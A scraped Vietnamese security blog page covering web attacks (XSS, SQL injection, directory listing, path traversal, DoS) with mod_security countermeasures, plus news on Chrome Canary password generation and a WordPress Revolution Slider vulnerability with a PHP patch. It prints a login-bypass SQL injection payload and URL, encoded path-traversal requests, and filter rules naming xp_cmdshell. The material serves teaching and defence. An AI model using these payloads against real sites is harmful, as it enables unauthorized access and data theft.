<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Chỉ cho phép những dữ liệu hợp lệ, từ chối nhận các dữ liệu sai, thường xuyên kiểm tra và lọc dữ liệu đầu vào.</li>
<li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công XSS.</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*meta*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*style*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*script*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*iframe*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*object*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*img*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*applet*\”?[^>]*>”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective THE_REQUEST “<[^>]*form*\”?[^>]*>”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">SQL injection</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tấn công SQL Injection được thực thi bằng cách chèn các câu truy vấn SQL vào dữ liệu tương tác giữa máy khách và trình ứng dụng. Quá trình khai thác lỗi SQL Injection thành công có thể giúp tin tặc lấy được các dữ liệu nhạy cảm trong cở sở dữ liệu, thay đổi cơ sở dữ liệu (Insert/Update/Delete), thực thi các hành động với quyền của người quản trị và cao hơn có thể điều khiển được hệ điều hành máy chủ</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Xét đoạn mã truy vấn SQL sau:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đây là một câu truy vấn thường hay được dùng trong các trình ứng dụng nhằm xác thực người dùng. Nếu câu truy vấn trả về một giá trị nói rằng thông tin về người dùng đang đăng nhập là đúng và được lưu trong cơ sở dữ liệu, thì người dùng được phép đăng nhập vào hệ thống, ngược lại thì không đăng nhập được. Người dùng nhập thông tin đó vào các trường gọi là web form.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Thay vì nhập đúng tên đăng nhập và mật khẩu, thử nhập vào các ký tự đặc biệt như:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
$username = 1′ or ’1′ = ’1</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
$password = 1′ or ’1′ = ’1</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi đó câu truy vấn sẽ là:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SELECT * FROM Users WHERE Username=’1′ OR ’1′ = ’1′ AND Password=’1′ OR ’1′ = ’1′</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Giả sử rằng giá trị của các tham số được gửi tới máy chủ bằng phương thức GET, thì có một câu lệnh khai thác lỗi như sau:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
http://www.example.com/index.php?username=1′%20or%20’1′%20=%20’1&password=1′%20or%20’1′%20=%20’1</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi đó, truy vấn sẽ trả về một giá trị (hay một loạt các giá trị) vì điều kiện trên luôn luôn đúng (OR 1=1). Trong trường hợp này tin tặc sẽ đăng nhập được vào hệ thống mà không cần biết tên đăng nhập và mật khẩu. Trường hợp này sẽ rất nguy hiểm nếu dòng đầu tiên trong bảng “Users” là tài khoản của người quản trị (admin) vì tin tặc sẽ đăng nhập vào hệ thống bằng tài khoản đầu tiên trong bảng này.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Kiểm tra dữ liệu đầu vào.</li>
<li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công SQL injection.</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “delete[[:space:]]+from”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “insert[[:space:]]+into”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter “select.+from”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_cmdshell</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regread</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regwrite</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_regdeletekeySecFilter xp_enumdsn</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_filelist</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilter xp_availablemedia</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Liệt kê thư mục (Directory indexing)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đây là chức năng web server cho phép liệt kê tất cả nội dung bên trong một thư mục mà không có tập tin cơ sở (index.html/home.html/ default.html). Trong các thư mục đó có thể chứa nội dung quan trọng: tập tin cơ sở dữ liệu dự phòng, tập tin cấu hình, tập tin lưu trữ tạm thời, các kịch bản…</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Thiết lập quyền hợp lý trên các thư mục chứa nội dung web.</li>
<li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterScanOutput On</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective OUTPUT “\<title\>Index of /”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Path Traversal</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, …</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ:</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /../../../../../some/file HTTP/1.0</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /..%255c..%255c..%255csome/file HTTP/1.0</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
GET /..%u2216..%u2216some/file HTTP/1.0</address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li>
</ul>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective SCRIPT_FILENAME “/scripts/foo.cgi” chain</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SecFilterSelective ARG_home “!^[a-zA-Z].{15,}\.txt”</address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Từ chối dịch vụ (DoS)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
DoS là kỹ thuật tấn công nhằm không cho phép các truy cập hợp lệ truy cập tới server. Kỹ thuật tấn công này thường xảy ra tại lớp mạngvà lớp ứng dụng.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Các hệ thống đích có thể bị tấn công DoS:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Người dùng riêng lẻ: quá trình đăng nhập lặp đi lặp lại với tài khoản hợp lệ nhưng mật khẩu không đúng. Sau nhiều lần đăng nhập sai, hệ thống sẽ khóa tài khoản hợp lệ này, dẫn đến người dùng hợp lệ sẽ không thể đăng nhập được.</li>
<li style="box-sizing: border-box;">Máy chủ cơ sở dữ liệu: Sử dụng kỹ thuật chèn câu lệnh truy vấn SQL chỉnh sửa cơ sở dữ liệu, vì thế hệ thống sẽ không thể phục vụ các truy cập từ client.</li>
<li style="box-sizing: border-box;">Máy chủ phục vụ web: Sử dụng kỹ thuật tấn công tràn bộ đệm ( Buffer Overflow) để gới các gói truy vấn và làm đổ vỡ các tiến trình tại phía máy chủ phục vụ web, dẫn đến hệ thống máy chủ webserver sẽ không có khả năng phục vụ các truy cập hợp lý.</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive</li>
<li style="box-sizing: border-box;">Thiết lập các thông tin hợp lý cho máy chủ phục vụ web: KeepAlives, KeepAliveTimeouts, MaxKeepAliveRequests…</li>
</ul>

Một số phương thức tấn công ứng dụng web

Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường x...

Google cập nhật chức năng tạo mật khẩu tích hợp sẵn trong Chrome Canary

<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />Chrome Canary được xem là như là một phiên bản đặc biệt của trình duyệt web Chrome, mà tại đây Google trang bị những tính năng mới nhất, bao gồm cả những tính năng đang trong giai đoạn thử nghiệm. Người dùng phiên bản này có thể được trải nghiệm những tính năng mới nhất mà chưa có trên bất kỳ phiên bản Chrome nào khác.<br /><br /><img src="http://securitydaily.net/wp-content/uploads/2014/09/canary_password.jpg" /><br /><br />Theo nhân viên của Google, hãng đã thay đổi cơ chế tạo mật khẩu để dễ dàng sử dụng hơn với một bảng preview (xem trước). “Ngay khi bạn chuẩn bị điền vào mục mật khẩu, một overlay sẽ hiện lên khuyến nghị một mật khẩu mạnh và thông báo chúng sẽ được lưu trữ trong Chrome” nhà phát triển François Beaufort cho biết.<br /><br />Chromium – dự án mã nguồn mở, nền tảng đẻ xây dựng Google Chrome đã có một máy tạo mật khẩu mạnh hơn 2 năm trước, mặc dù nó chỉ là cài đặt thử nghiệm và đã bị ẩn đi, nhưng với phiên bản mới cùng với giao diện người dùng mới đã được đưa từ Chromium đến phiên bản Canary. Canary cũng được cập nhật hàng ngày giống như concept Nightly của Firefox.<br /><br />Để kích hoạt chức năng tạo mật khẩu, người dùng phải sử dụng gõ chrome://flags  vào thanh địa chỉ, sau đó chọn “Enable” cho cả hai mục Enable-password-generation và Enable-save-password-bubble trong Canary.<br /><br />Ngoài Canary, trình duyệt web duy nhất được tích hợp máy tạo mật khẩu là Safari của Apple. Nhưng nó chỉ được sử dụng khi đi kèm với tính năng OS X’s iCloud Keychain. Tính năng nay được Apple tích hợp vào phiên bản Mavericks năm ngoái.<br /><br />Nếu không tích hợp các cơ chế tạo mật khẩu vào Chrome, trình duyệt này sẽ phải cạnh tranh với hàng hoạt trình quản lí mật khẩu của bên thứ ba như là 1Password của AgileBits; LastPass. Giá của những phần mềm này từ miễn phí (Lastpass) đến 50 đôla (1Password).<br /><br />Các chuyên gia bảo mật từ lâu luôn than phiền về việc đặt mật khẩu rằng người dùng luôn sử dụng lại mật khẩu giống nhau, thường xuyên chọn những mật khẩu rõ ràng và hiếm khi chúng đủ mạnh. Nhưng đã có một vài giải pháp khác là việc sử dụng các trình quản lí mật khẩu.<br /><br />Độ mạnh của mật khẩu và việc tái sử dụng chúng đã góp phần gây ra vụ việc hàng trăm ảnh nóng của những người nổi tiếng bị phát tán trên Internet gần đây. Nhiều người trong số các nạn nhân sở hữu Iphone và sự nghi ngờ đổ dồn lên việc đồng hộ hóa và dịch vụ lưu trữ iCloud của Apple. Giám đốc điều hành Apple Tim Cook phủ nhận rằng iCloud bị xâm nhập mà thay vào đó chỉ ra rằng những kẻ tấn công đánh cắp mật khẩu bằng cách trả lời câu hỏi bảo mật chính xác. Nếu có mật khẩu mạnh và duy nhất sẽ tạo ra sự khác biệt lớn.</span>

Google cập nhật chức năng tạo mật khẩu tích hợp sẵn trong Chrome Canary

Chrome Canary được xem là như là một phiên bản đặc biệt của trình duyệt web Chrome, mà tại đây Google trang bị những tính năng mới nhất, bao...

Lỗ hổng WordPress ảnh hưởng hơn 400.000 websites trên thế giới

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="box-sizing: border-box; margin: 0px; padding: 10px 0px 20px;" title="Lỗ hổng WordPress ảnh hưởng hơn 400.000 websites trên thế giới">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-size: small; font-weight: normal;"><br /><br />Như SecurityDaily đã đưa tin ngày 03/09/2014, lỗ hổng nguy hiểm trong WordPress đang ảnh hưởng tới nhiều website của Việt Nam và rất nhiều các website của các tổ chức quan trọng trên thế giới. SecurityDaily đã thực hiện điều tra và phát hiện hơn 400.000 websites trên thế giới tồn tại lỗ hổng nguy hiểm này.<br /><br />Kết quả quét và thống kê từ công cụ quét lỗ hổng tự động của SecurityDaily cho thấy, hiện có 400.000 websites trên thế giới đang tồn tại lỗ hổng nguy hiểm. Một số lượng lớn các websites quan trọng của Anh, Mỹ, Brasil… đang có nguy cơ bị tấn công chiếm quyền điều khiển dựa trên việc khai thác lỗ hổng trong WordPress.<br /><br /><a href="http://securitydaily.net/wp-content/uploads/2014/09/gov.uk_.png"><img src="http://securitydaily.net/wp-content/uploads/2014/09/gov.uk_-700x322.png" /></a><br />Kết quả kiểm tra một website của chính phủ Anh Quốc<br /><br />Lỗ hổng cho phép hacker có thể tải về toàn bộ mã nguồn websites, đọc tập tin cấu hình hệ thống và truy cập thẳng đến cơ sở dữ liệu của website, chiếm quyền điều khiển toàn bộ website.<br /></span><div style="text-align: left;">
<span style="font-size: small;"><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Một số website của chính phủ các nước đang tồn tại lỗ hổng đã bị tin tặc tấn công và thay đổi giao diện</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><img src="http://securitydaily.net/wp-content/uploads/2014/09/betania.pe_.gov_.br_-700x363.png" />Giao diện một website của chính phủ Brasil bị tin tặc thay đổi.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Rất nhiều trường đại học danh tiếng của Mỹ: Đại học Harvard, University of Florida, USG… cũng đang tồn tại lỗ hổng này:</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><img src="http://securitydaily.net/wp-content/uploads/2014/09/harvard-700x421.jpg" /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Hiện tại, SecurityDaily đã gửi cảnh báo tới các website chính phủ, các trường đại học lớn về việc tồn tại lỗ hổng nguy hiểm này.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Một lần nữa, SecurityDaily khuyến cáo quản trị các website đang sử dụng wordpress nên thực hiện ngay các phương án sau để đảm bảo an ninh và khắc phục lỗ hổng:</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Kiểm tra website với công cụ kiểm tra tự động: <a href="http://tools.mvs.vn/">tools.mvs.vn</a></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Cập nhật lên phiên bản mới nhất của WordPress.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Tạm dừng các plugin, theme sau (tồn tại lỗ hổng) nếu đang sử dụng, bao gồm:</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Revolution Slider Plugin</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">CuckooTap Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">IncredibleWP Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Ultimatum Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Ultimatum Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Ultimatum Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Avada Theme</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Striking Theme & E-Commerce</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">WordPress Striking Theme & E-Commerce</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Rà soát lại toàn bộ các thư mục và tập tin trên website tránh việc website đã bị hacker khai thác và cài đặt backdoors lên hệ thống để tiếp tục xâm nhập.</span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; font-weight: normal;">Các nhà phát triển website wordpress có thể vá trực tiếp lỗ hổng này bằng việc thêm add_action để kiểm tra kỹ biến GET["img"] trước khi xử lý, cụ thể như sau:</span></span></div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-weight: normal; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px; text-align: left;">
<pre style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><span class="kw2" style="box-sizing: border-box; font-weight: bold;">function</span> fixRevsliderExploit<span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="br0" style="box-sizing: border-box; color: #009900;">{</span>
        <span class="kw1" style="box-sizing: border-box; color: #b1b100;">if</span><span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="kw3" style="box-sizing: border-box; color: #990000;">substr_compare</span><span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="re0" style="box-sizing: border-box; color: #000088;">$_GET</span><span class="br0" style="box-sizing: border-box; color: #009900;">[</span><span class="st0" style="box-sizing: border-box; color: blue;">"img"</span><span class="br0" style="box-sizing: border-box; color: #009900;">]</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="st0" style="box-sizing: border-box; color: blue;">".php"</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="sy0" style="box-sizing: border-box; color: #339933;">-</span><span class="nu0" style="box-sizing: border-box; color: #cc66cc;">4</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="nu0" style="box-sizing: border-box; color: #cc66cc;">4</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span> <span class="sy0" style="box-sizing: border-box; color: #339933;">===</span> <span class="nu0" style="box-sizing: border-box; color: #cc66cc;">0</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="br0" style="box-sizing: border-box; color: #009900;">{</span>
                <span class="kw3" style="box-sizing: border-box; color: #990000;">die</span><span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="st0" style="box-sizing: border-box; color: blue;">"Not found! "</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="sy0" style="box-sizing: border-box; color: #339933;">;</span>
        <span class="br0" style="box-sizing: border-box; color: #009900;">}</span>
}
add_action<span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="st_h" style="box-sizing: border-box; color: blue;">'wp_ajax_revslider_show_image'</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> fixRevsliderExploit<span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="sy0" style="box-sizing: border-box; color: #339933;">-</span><span class="nu0" style="box-sizing: border-box; color: #cc66cc;">1</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="sy0" style="box-sizing: border-box; color: #339933;">;
// Chi tiết: http://pastebin.com/k07msTHw</span></pre>
</blockquote>
<div style="text-align: right;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><i><span style="font-weight: normal;">Nguồn: SecurityDaily.Net</span> </i></span></div>
</h3>
</div>

Lỗ hổng WordPress ảnh hưởng hơn 400.000 websites trên thế giới

